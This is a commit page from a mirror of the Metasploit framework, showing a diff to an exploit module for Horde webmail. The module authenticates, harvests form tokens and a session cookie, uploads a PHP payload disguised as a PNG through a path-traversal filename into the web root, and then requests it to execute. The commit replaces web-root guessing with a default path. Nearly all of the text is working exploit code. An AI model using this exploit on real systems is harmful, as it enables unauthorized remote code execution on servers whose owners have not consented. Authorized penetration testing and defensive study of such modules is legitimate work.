infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Remove web root guessing since not reliable

master
RatioSec Research 2019-03-29 16:16:06 +00:00
parent f8c5852902
commit 5c84e9e61a
1 changed files with 27 additions and 43 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

70
modules/exploits/multi/http/horde_form_file_upload.rb
View File

@ -45,7 +45,8 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
OptString.new('WEB_ROOT', [false, 'Path to the web root'])
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])
# Appears to be '/usr/share/horde/' if installed with apt
])
end
@ -116,54 +117,37 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
if not webroot
webroot_paths = [
'/var/www/html/', # If installed with PEAR
'/usr/share/horde/' # If installed with apt
]
else
webroot_paths = [ webroot ]
end
payload_name = Rex::Text.rand_text_alpha_lower(10..12)
payload_path = File.join(webroot, "static", "#{payload_name}.php")
payload_path_traversal = File.join("..", payload_path)
for webroot_path in webroot_paths
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
data.add_part(source_token, nil, nil, 'form-data; name="source"')
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
post_data = data.to_s
payload_name = Rex::Text.rand_text_alpha_lower(10..12)
payload_path = File.join(webroot_path, "static", "#{payload_name}.php")
payload_path_traversal = File.join("..", payload_path)
print_status("Uploading payload to #{payload_path_traversal}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie + ' ' + secret_cookie
)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
data.add_part(source_token, nil, nil, 'form-data; name="source"')
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
post_data = data.to_s
fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
print_status("Uploading payload to #{payload_path_traversal}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie + ' ' + secret_cookie
)
payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
vprint_status("Executing the payload at #{payload_url}.")
res = send_request_cgi(
vprint_status("Executing the payload at #{payload_url}.")
res = send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
'method' => 'GET',
)
if res and res.code == 200
register_files_for_cleanup(payload_path)
break
else
vprint_bad("URL #{payload_url} hasn't been created or is not callable")
end
end
register_files_for_cleanup(payload_path)
end
end